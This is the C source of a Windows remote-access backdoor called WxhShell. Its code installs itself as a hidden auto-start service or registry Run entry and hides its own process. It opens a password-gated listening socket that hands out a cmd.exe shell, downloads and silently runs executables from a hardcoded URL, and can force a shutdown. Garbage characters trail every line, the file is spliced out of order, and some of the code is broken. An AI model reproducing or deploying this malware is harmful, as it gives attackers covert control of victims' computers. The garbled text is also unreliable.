    else { ^]VcxKUJ  
    closesocket(wsh); m$?.Yig?  
    ExitThread(0); B~?c3:6  
    } *|oPxQCtK  
    break; {gsW(T>)  
    } 3!aEClRtq  
  // 获取shell ?9p$XG  
  case 's': { =c&62;O  
    CmdShell(wsh); ^uhxURF  
    closesocket(wsh); S/VA~,KCe;  
    ExitThread(0); Q\|18wkW  
    break; 6J\q`q(W(  
  } Lx%:t YZ  
  // 退出 HcA[QBh  
  case 'x': { [<yz)<<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PB+\jj  
    CloseIt(wsh); 5C B%=iL{  
    break; g92dw<$>  
    } Hq?&Qo  
  // 离开 u#FXW_-TK  
  case 'q': { VgA48qZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0(8gQ 2n  
    closesocket(wsh); DcN"=Y  
    WSACleanup(); 'j}g  
    exit(1); _%%yV  
    break; FuuS"G,S  
        } %*jGim~s  
  } : W~f;k  
  } eES'}[W>  
"qS!B.rt:  
  // 提示信息 jn^fgH ?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oxv+1Ub<Dv  
} G,]z (%  
  } bE d?^h  
zks#EzQ  
  return; ;, rnk-  
} N!L'W\H,  
Pu..NPl+  
// shell模块句柄 !R74J=#(  
int CmdShell(SOCKET sock) |<rfvsQ.  
{ `E W!-v)  
STARTUPINFO si; <1 S+ '  
ZeroMemory(&si,sizeof(si)); _s*! t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ra]:$XJ5=a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %K?iNe  
PROCESS_INFORMATION ProcessInfo; t!{x<9  
char cmdline[]="cmd"; l<xFnj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q2"WV  
  return 0; gLD{1-v  
} >ZeEX, N  
,T$r9!WTM  
// 自身启动模式 akC>s8tqlA  
int StartFromService(void) )|RZa|`-G  
{ f&c]LH _  
typedef struct 6.'$EtH  
{ E~RV1)  
  DWORD ExitStatus; Sph*1c(R  
  DWORD PebBaseAddress; *Tp]h 0  
  DWORD AffinityMask; =/Wu'gG)  
  DWORD BasePriority; @+&'%1  
  ULONG UniqueProcessId; 4gOgWBv  
  ULONG InheritedFromUniqueProcessId; | 3giZ{  
}   PROCESS_BASIC_INFORMATION; C2G  |?=  
C_G1P)k  
PROCNTQSIP NtQueryInformationProcess; IY)5.E _  
SKR;wu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G#0,CLGN^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #ZlM?Q  
ZoxS*Xk  
  HANDLE             hProcess; X2^_~<I{,  
  PROCESS_BASIC_INFORMATION pbi; 6e# wR/  
2r;GcjezH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6m+W#]^  
  if(NULL == hInst ) return 0; [))JX"a  
_2OuskL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W 2<3C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D0ruTS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TsD;Kl1  
A"4@L*QV  
  if (!NtQueryInformationProcess) return 0; 3ji:O T  
+ |C=ZU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^f|<R8`  
  if(!hProcess) return 0; -~O/NX  
V#J"c8n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RZh}:  
X+iK<F$  
  CloseHandle(hProcess); !M(:U,?B  
0`n 5x0R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8=F%+  
if(hProcess==NULL) return 0; Hf%_}Du /`  
SF< [FM%1  
HMODULE hMod; ,|pp67  
char procName[255]; M&yqfb[  
unsigned long cbNeeded; J=*K"8Qr  
]"sRS`0+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v[&'k\  
,I`_F,  
  CloseHandle(hProcess); tD-gc ''H  
_whF^g8  
if(strstr(procName,"services")) return 1; // 以服务启动 HO5d%85  
a$m_D!b~_  
  return 0; // 注册表启动 9m8ee&,  
} tU:FX[&?R  
Qq3fZ=  
// 主模块 `6F +Rrn  
int StartWxhshell(LPSTR lpCmdLine) G{o+R]Us  
{ z+/LS5$  
  SOCKET wsl; }OrYpZob  
BOOL val=TRUE; /DO'IHC.o  
  int port=0; Rla4L`X;  
  struct sockaddr_in door; kcS6_l  
3LW[H+k  
  if(wscfg.ws_autoins) Install(); >a=d;  
U$'y_}V  
port=atoi(lpCmdLine); C[YnrI!  
+'XhC#:  
if(port<=0) port=wscfg.ws_port; T//S,   
Df@/cT  
  WSADATA data; u+2Lm*M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2EfflZL3  
2Va4i7"X\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uTGcQs}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @~o`#$*|  
  door.sin_family = AF_INET; 3eKQ<$w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }q'WC4.  
  door.sin_port = htons(port); GuO`jz F  
f1Zt?=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yd>}wHt  
closesocket(wsl); ?/d!R]3  
return 1; wL2XNdo}<  
} D1Yh,P<CF\  
;+`uER  
  if(listen(wsl,2) == INVALID_SOCKET) { e<5Y94YE  
closesocket(wsl); xvDI 4x&  
return 1; uvB1VV4  
} Y=Hz;Ni  
  Wxhshell(wsl); xR908+>5  
  WSACleanup(); uRQ_'l  
~E*d G  
return 0; z+3 9ee  
R2LK.bTVn  
} Y&~M7TYb  
xo WT*f  
// 以NT服务方式启动 wPnybb{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *{5>XH{ x  
{  Oh`2tc-  
DWORD   status = 0; NHkL24ve  
  DWORD   specificError = 0xfffffff; 1q]c7"  
AuCWQ~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FT/amCRyT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }Bff,q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U8O(;+  
  serviceStatus.dwWin32ExitCode     = 0; zj%cQkZ  
  serviceStatus.dwServiceSpecificExitCode = 0; 1S%}xsR0  
  serviceStatus.dwCheckPoint       = 0; \+Y!ILOI  
  serviceStatus.dwWaitHint       = 0; GDPo`# ~  
HFS+QwHW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \FifzKA  
  if (hServiceStatusHandle==0) return; Kx6y" {me|  
%j{.0 H  
status = GetLastError(); jO)&KEh  
  if (status!=NO_ERROR) %^.P~s6  
{ K{b-TT 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @GG ccF  
    serviceStatus.dwCheckPoint       = 0; 2c:f<>r0y  
    serviceStatus.dwWaitHint       = 0; &1Fply7(Ay  
    serviceStatus.dwWin32ExitCode     = status; l4ouZR  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8#f$rs(}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ($WE=biZ&  
    return; qY# d+F,t  
  } nb+m.X  
<k]qH-v4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~7SH4Cr  
  serviceStatus.dwCheckPoint       = 0; J70D+  
  serviceStatus.dwWaitHint       = 0; >o[|"oLO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L2|aHI1'l  
} 0*7*RX  
}*kJ-q&0  
// 处理NT服务事件,比如:启动、停止 LfX0Z=<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .ECHxDp  
{ !R:y'Y%j  
switch(fdwControl) 2u:4$x8  
{ -<W2PY<  
case SERVICE_CONTROL_STOP: m0( E kK  
  serviceStatus.dwWin32ExitCode = 0; #Lka+l;L7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i'tp1CI  
  serviceStatus.dwCheckPoint   = 0; o&-L0]i|  
  serviceStatus.dwWaitHint     = 0;  T-8J   
  { <NB41/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xmH-!Da  
  } \G;CQV#{9  
  return; 7 g6RiH}  
case SERVICE_CONTROL_PAUSE: zvf3b!}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [7W(NeMk  
  break; \&q=@rJp(z  
case SERVICE_CONTROL_CONTINUE: .3wY\W8Dr-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {}\CL#~y  
  break; GLh]G(  
case SERVICE_CONTROL_INTERROGATE: D1X{:#|  
  break; ^M Ey,  
}; BaL]mIx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A=`* r*  
} v>-Y uS  
F?4Sz#  
// 标准应用程序主函数 ;^-:b(E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xP@/9SM  
{ r nBOj#N  
} uQ${]&D  
// 获取操作系统版本 Do;#NLrWb  
OsIsNt=GetOsVer(); yJD >ny  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y1,5$0@G  
U e*$&VlT  
  // 从命令行安装 r!K|E95oj9  
  if(strpbrk(lpCmdLine,"iI")) Install(); &!1}`4$[T  
;KcFy@ 6q5  
  // 下载执行文件 ?`P2'i<b  
if(wscfg.ws_downexe) { N@1p]\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SrZ50Se  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6?SFNDQ"C  
} g6euXI  
v0 ];W|  
if(!OsIsNt) { 'ZnIRE,N  
// 如果时win9x,隐藏进程并且设置为注册表启动 -:]@HD:  
HideProc(); -JTG?JOd]  
StartWxhshell(lpCmdLine); #IX&9 aFB}  
} xzikD,FV  
else wkikD  
  if(StartFromService()) <t}?$1  
  // 以服务方式启动 u!1/B4!'O  
  StartServiceCtrlDispatcher(DispatchTable); B8~= RmWLl  
else `&g:d E(j  
  // 普通方式启动 yJ/#"z=h?  
  StartWxhshell(lpCmdLine); #s+Q{2s  
%#k,6 ;m  
return 0; 6tdI6  
} $Jf9;.  
r/AHJU3&eY  
}ND'0*#  
CW0UMPE5  
=========================================== :s*>W$Wp4  
_4R,Ej}  
{L9yhYw  
ZvH{wt   
OoaY  
v~5<:0dL  
" yXF|Sqv  
&r@H(}$1\  
#include <stdio.h> !Z s,-=^D  
#include <string.h> }1m_o@{3P  
#include <windows.h> kZ[mM'u#  
#include <winsock2.h> ]^@0+!  
#include <winsvc.h> e@j8T gI)  
#include <urlmon.h> #:{6b *}  
@ER1zKK?  
#pragma comment (lib, "Ws2_32.lib") x/I;nM Y  
#pragma comment (lib, "urlmon.lib") Uu5C%9^s  
pULsGb  
#define MAX_USER   100 // 最大客户端连接数 Ae3,^  
#define BUF_SOCK   200 // sock buffer YMu)  
#define KEY_BUFF   255 // 输入 buffer 8^X]z|2  
},PBqWe  
#define REBOOT     0   // 重启 UC|JAZL  
#define SHUTDOWN   1   // 关机 fn1pa@P  
G (\Ckf:  
#define DEF_PORT   5000 // 监听端口 RgGA$HN/  
p >aw  
#define REG_LEN     16   // 注册表键长度 7bT /KLU  
#define SVC_LEN     80   // NT服务名长度 J@` 8(\(  
DHzkRCM  
// 从dll定义API 7;xKy'B\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q\H7& w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1+^n!$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $L&BT 0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F+*Q <a4  
XV5`QmB9  
// wxhshell配置信息 4oJ$dN  
struct WSCFG { U**)H_S/~  
  int ws_port;         // 监听端口 Nza; O[  
  char ws_passstr[REG_LEN]; // 口令 0yTQ{'Cc  
  int ws_autoins;       // 安装标记, 1=yes 0=no QUp?i  
  char ws_regname[REG_LEN]; // 注册表键名 (C\r&N  
  char ws_svcname[REG_LEN]; // 服务名 ifrq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  !!+Da>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )ddsyFGW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P6we(I`"2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no + *a7GttU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IJIQ" s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S'@=3)  
N D* ]gM  
}; Wp4K6x  
*w 21U!  
// default Wxhshell configuration !KDr`CV&  
struct WSCFG wscfg={DEF_PORT, +H}e)1^ I  
    "xuhuanlingzhe", @dV9Dpu  
    1, T6=-hA^A  
    "Wxhshell", ;eh/_hPM  
    "Wxhshell", [; @):28"  
            "WxhShell Service", " $=qGHA~  
    "Wrsky Windows CmdShell Service", (}0S1)7t  
    "Please Input Your Password: ", cY~M4:vgT  
  1, O PiaG!3<  
  "http://www.wrsky.com/wxhshell.exe", YFqZe6g0$  
  "Wxhshell.exe" K;C_Z/<%  
    }; VN+\>j-  
w, 7Cr  
// 消息定义模块 z1Q2*:)c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p1^0{ILx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5H!%0LrJg=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WRM$DA  
char *msg_ws_ext="\n\rExit."; \n(ROf^'  
char *msg_ws_end="\n\rQuit."; ai^t= s  
char *msg_ws_boot="\n\rReboot..."; B^m!t7/,  
char *msg_ws_poff="\n\rShutdown..."; .C?GW1[c~@  
char *msg_ws_down="\n\rSave to "; >)y$mc6  
YkI9d&ib+  
char *msg_ws_err="\n\rErr!"; DZP*x  
char *msg_ws_ok="\n\rOK!"; 97]4 :Zv  
Y?t2,cm   
char ExeFile[MAX_PATH]; `EVg'?pl  
int nUser = 0; H9E(\)@  
HANDLE handles[MAX_USER]; R8uj3!3^  
int OsIsNt; ~#t*pOC5BR  
kF2Qv.5!  
SERVICE_STATUS       serviceStatus; j"6:A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >KHp-|0pv  
G1p'p&x.  
// 函数声明 qp@m&GH  
int Install(void); EW9b*r7./  
int Uninstall(void); g? I!OG  
int DownloadFile(char *sURL, SOCKET wsh); ?OO%5PSen  
int Boot(int flag); sW'6} ^Q  
void HideProc(void); -%=RFgU4  
int GetOsVer(void); N"~ qoJO  
int Wxhshell(SOCKET wsl); TZBVU&,{Z  
void TalkWithClient(void *cs); 0V7 _n  
int CmdShell(SOCKET sock); ~4+8p9f  
int StartFromService(void); p}BGw:=  
int StartWxhshell(LPSTR lpCmdLine); -xTKdm D  
F-tFet  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wo]ks}9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `fMpV8vv  
_G[6+g5|  
// 数据结构和表定义  `~h0?g  
SERVICE_TABLE_ENTRY DispatchTable[] = r},lu=em  
{ !"%S#nrL$  
{wscfg.ws_svcname, NTServiceMain}, vlAy!:CV  
{NULL, NULL} UeNF^6sWu0  
}; F;W'  
aPt{C3<  
// 自我安装 N5ci};?  
int Install(void) a_AJ)4  
{ <k5`&X!+  
  char svExeFile[MAX_PATH]; My],6va^  
  HKEY key; EO"6Dq(  
  strcpy(svExeFile,ExeFile); F Nlx1U[  
yeNvQG  
// 如果是win9x系统,修改注册表设为自启动 qZP:@r"  
if(!OsIsNt) { _1\poAy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 01o [!nT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %VS 2M #f  
  RegCloseKey(key); c l9$g7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PMY~^S4O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jVs(x  
  RegCloseKey(key); X]MTaD.t  
  return 0; _^-D _y  
    } s_S$7N`ocS  
  } G4O3h Y.`  
} lm!F M`m  
else { ]h0Y8kpd  
<irpmRQr  
// 如果是NT以上系统,安装为系统服务 _trpXkQp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "H@Fe  
if (schSCManager!=0) Eny!R@u7q  
{ z :? :  
  SC_HANDLE schService = CreateService cXMa\#P  
  ( ~\3l!zIq  
  schSCManager, mfz"M)1p1  
  wscfg.ws_svcname, Wy!uRzbBv  
  wscfg.ws_svcdisp, 03C .Xh=!  
  SERVICE_ALL_ACCESS, Z"]xdOre  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $q^O%(  
  SERVICE_AUTO_START, sN=KRqe  
  SERVICE_ERROR_NORMAL, 5Vm Eyb  
  svExeFile, 4NJVW+:2  
  NULL, ePi Z  
  NULL, _=6vW^ s  
  NULL, Agz=8=S%  
  NULL, i"< ZVw  
  NULL Pm~,Ky&Hl  
  ); 9V.+U7\w  
  if (schService!=0) /K[]B]1NE  
  { d;<.;Od$`  
  CloseServiceHandle(schService); $.;iu2iyo  
  CloseServiceHandle(schSCManager); K(' 9l& A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vWuyft*  
  strcat(svExeFile,wscfg.ws_svcname); y]w )`}Ax  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~RAzFLt6x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $Q=$?>4U  
  RegCloseKey(key); :ET x*c  
  return 0; }&C dsCM>2  
    } ? S8$5gA  
  } v,8Si'"i+  
  CloseServiceHandle(schSCManager); kF#{An)P  
} M*v^N]>"G  
} G%Y*q(VrEu  
\_?yzgf  
return 1; pTN%;`) {  
} .a5X*M]  
s* @QT8%  
// 自我卸载 ?,!uA)({n  
int Uninstall(void) 4_WH 6Z  
{ v [dAywW  
  HKEY key; $vz_%Y  
OW?uZ<z  
if(!OsIsNt) { >=bt   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `..EQ BM  
  RegDeleteValue(key,wscfg.ws_regname); z_'dRw  
  RegCloseKey(key); \G]K,TG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bKTqX[=  
  RegDeleteValue(key,wscfg.ws_regname); ]Kof sU_{  
  RegCloseKey(key); p1C_`f N,  
  return 0; Q:kwQg:~  
  } g^qz&;R]  
} wE)] ah:  
} )7tV*=?Ic8  
else { e<kpcF5{\  
Xad G\_?t`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?U=mcdqd  
if (schSCManager!=0) PKl]Geg P  
{ uQO(?nCi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D\@e{.$MZ|  
  if (schService!=0) $# D n4  
  { cn@03&dAl  
  if(DeleteService(schService)!=0) { c]S+70!n  
  CloseServiceHandle(schService); U<K|jsFo  
  CloseServiceHandle(schSCManager); *Rz!i m|  
  return 0; jQO* oq}  
  } pHigxeV2  
  CloseServiceHandle(schService); u<$S>  
  } /5&3WG&<u  
  CloseServiceHandle(schSCManager); E*Pz <  
} | pF5`dX  
} 7k.d|<mRv  
+Kxe ymwr2  
return 1; &t[z  
} N'htcC  
f34_?F<h  
// 从指定url下载文件 6s> sj7  
int DownloadFile(char *sURL, SOCKET wsh) ~W2:NQ>i  
{ bXa %EMF  
  HRESULT hr; tq2-.]Y@U  
char seps[]= "/"; `\Uc4lRS  
char *token; Iq^~  
char *file; >fW+AEt\JB  
char myURL[MAX_PATH]; JHnk%h0  
char myFILE[MAX_PATH]; #(m `2Z`H  
[Od>NO,n+]  
strcpy(myURL,sURL); vx({N?  
  token=strtok(myURL,seps); d4b 9rtM  
  while(token!=NULL) #9URVq,  
  { 8XLxT(YFIs  
    file=token; Y:DNu9  
  token=strtok(NULL,seps); .CIbpV?T  
  } 3L'en  
F<6KaZ|  
GetCurrentDirectory(MAX_PATH,myFILE); #|)JD@;Q  
strcat(myFILE, "\\"); t-3v1cv"  
strcat(myFILE, file); yg]suU<z]  
  send(wsh,myFILE,strlen(myFILE),0); 53g8T+`\(  
send(wsh,"...",3,0); 0sq=5 BnO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )pkhir06t  
  if(hr==S_OK) oG|?F4l*  
return 0; ykErt%k<n  
else E geG,/-`  
return 1; @9 n #vs  
0IoXDx  
} `I]1l MJ)o  
hY\Eh.  
// 系统电源模块 [Q2S3szbt6  
int Boot(int flag) 7j9D;_(.^$  
{ o=mq$Z:}  
  HANDLE hToken; 0X ] ekq  
  TOKEN_PRIVILEGES tkp; T4%i`<i  
WZ-4^WM=!  
  if(OsIsNt) { DDqC}l_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qat45O4A1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {hW +^  
    tkp.PrivilegeCount = 1; wgSR*d>y*9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g=8|z#S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ):|G k Sm  
if(flag==REBOOT) { TFiuz; *|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7I2a*4}  
  return 0; SX1Fyy6 w  
} T! &[  
else { rahHJp.Ws  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .{'Uvn  
  return 0; Im0+`9Jw  
} a'*5PaXU@/  
  } ZuF4N=;  
  else { ECmHy@(  
if(flag==REBOOT) { $71D)*{P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bc0)'a\  
  return 0; 4)x3!Ol  
} DK#65H'  
else { Nqo#sBS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N \CEocU  
  return 0; H{Y5YTg]  
} O+{pF.P#V  
} o{S}e!Vb  
j. ks UJ  
return 1; ims=-1,  
} &vJ(P!2f<  
fl5UY$a2-  
// win9x进程隐藏模块 886 ('  
void HideProc(void) {WM&  
{ 3isXgp8  
wB1-|= K1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pq[0vZ_}dN  
  if ( hKernel != NULL ) NIWI6qCw  
  { ]ut-wqb{p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4z-,M7iP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^t/'dfF  
    FreeLibrary(hKernel); `a/PIc"  
  } ZF/J/;uI  
WIH4Aw  
return; fY,@2VxyfA  
} OI]K_ m3  
IgHs&=  
// 获取操作系统版本 61s2bt#  
int GetOsVer(void) ZH`K%h0  
{ *`S)@'@:(  
  OSVERSIONINFO winfo; rlUdAa3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K[Egwk7  
  GetVersionEx(&winfo); buC m @@o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5m%baf2_  
  return 1; alb+R$s  
  else ]"2 v7)e  
  return 0; u75)>^:I   
} <L!~f`nH2  
U4^p({\|-  
// 客户端句柄模块 CL<KBmW7  
int Wxhshell(SOCKET wsl) ,XBV}y  
{ Dbkuh!R  
  SOCKET wsh; sBuq  
  struct sockaddr_in client; CwEWW\Bu  
  DWORD myID; w ;s ]n  
|Ad6~E+aL-  
  while(nUser<MAX_USER) gv Rc:5B[  
{ QU,TAO  
  int nSize=sizeof(client); &)"7am(S`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t7*H8  
  if(wsh==INVALID_SOCKET) return 1; Hq"<vp  
_A~~L6C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v,!Y=8~9  
if(handles[nUser]==0) s:m<(8WRw  
  closesocket(wsh); tsSS31cv  
else eN2k8=  
  nUser++; :UJUh/U  
  } Fl'xmz^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #by9D&QP]  
jt10gVC  
  return 0; ^b `>/>  
} [WO%rO^p  
MRVz:g\mi  
// 关闭 socket )o'U0rAx|a  
void CloseIt(SOCKET wsh) &"H<+>`  
{ x9o^9QJh  
closesocket(wsh); xJH9qc ME  
nUser--; >gOI]*!5  
ExitThread(0); !+|N<`  
} C$..w80/1  
(61twutC  
// 客户端请求句柄 K+\0}qn  
void TalkWithClient(void *cs) K^cWj_a"  
{ EfrkB"  
Pguyf2/w  
  SOCKET wsh=(SOCKET)cs; ixJ20A7  
  char pwd[SVC_LEN]; +v[$lh+  
  char cmd[KEY_BUFF]; Oz9Mqcx  
char chr[1]; Y4 ~wNs6  
int i,j; !>kv.`|7~  
Zh~Lm  
  while (nUser < MAX_USER) { zQ6 -2 A  
Y5A~iGp8E  
if(wscfg.ws_passstr) { g`5`KU|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uc4 L|:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GZhfA ;O,  
  //ZeroMemory(pwd,KEY_BUFF); d;jJe0pH  
      i=0; zhvk%Y:  
  while(i<SVC_LEN) { TLL[F;uZ  
6t mNfI34  
  // 设置超时 _F/lY\vm  
  fd_set FdRead; v YmtpKNj%  
  struct timeval TimeOut; a a Y Q<  
  FD_ZERO(&FdRead); 8yo6v3JqC  
  FD_SET(wsh,&FdRead); +q_lYGTiO  
  TimeOut.tv_sec=8; A@  
  TimeOut.tv_usec=0; WJh;p: q[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9bcyPN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E[Ws} n.  
fF-\TW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #+ lq7HJ1  
  pwd=chr[0]; Sc"4%L  
  if(chr[0]==0xd || chr[0]==0xa) { vL=--#  
  pwd=0; 6`5 @E\"E  
  break; #ZnX6=;X  
  } x V 1Z&l  
  i++; )Fr;'JYC1S  
    } 7Ae,|k  
g$-D?~(Z  
  // 如果是非法用户,关闭 socket =*>4Gh i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F6GZZKj  
} m[Ac'la  
!wb~A0m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xd BZ^Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5bznM[%xO  
7pI \`*7b  
while(1) { F+y`4>x  
-x%`Wv@L  
  ZeroMemory(cmd,KEY_BUFF); ; # ?0#):-  
UE#Ni 5  
      // 自动支持客户端 telnet标准   aaD$'Y,<>B  
  j=0; F?,&y)ri  
  while(j<KEY_BUFF) { U!I_i*:U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {LJ6't 8y:  
  cmd[j]=chr[0]; H{A| ~V)  
  if(chr[0]==0xa || chr[0]==0xd) { Ho._&az9cT  
  cmd[j]=0; hy&Hl  
  break; z9kX`M+  
  } <%#y^_  
  j++; q~dg   
    } @G$<6CG\  
.5CELtR  
  // 下载文件 #M9D" <pn}  
  if(strstr(cmd,"http://")) { #m$%S%s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K,,@',  
  if(DownloadFile(cmd,wsh)) ,JBw$ C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  T[[  
  else 8OtUY}R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &MQt2aL  
  } MbFe1U]B  
  else { #|_UA}Y  
AW;) _|xM  
    switch(cmd[0]) { '>mb@m  
  ].f,3it g&  
  // 帮助 ;pyJ O_R[  
  case '?': { "oXAIfU#T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ST8/ ;S#c  
    break; `"b7y(M  
  } ]j$p_s>  
  // 安装 "PScM9)\  
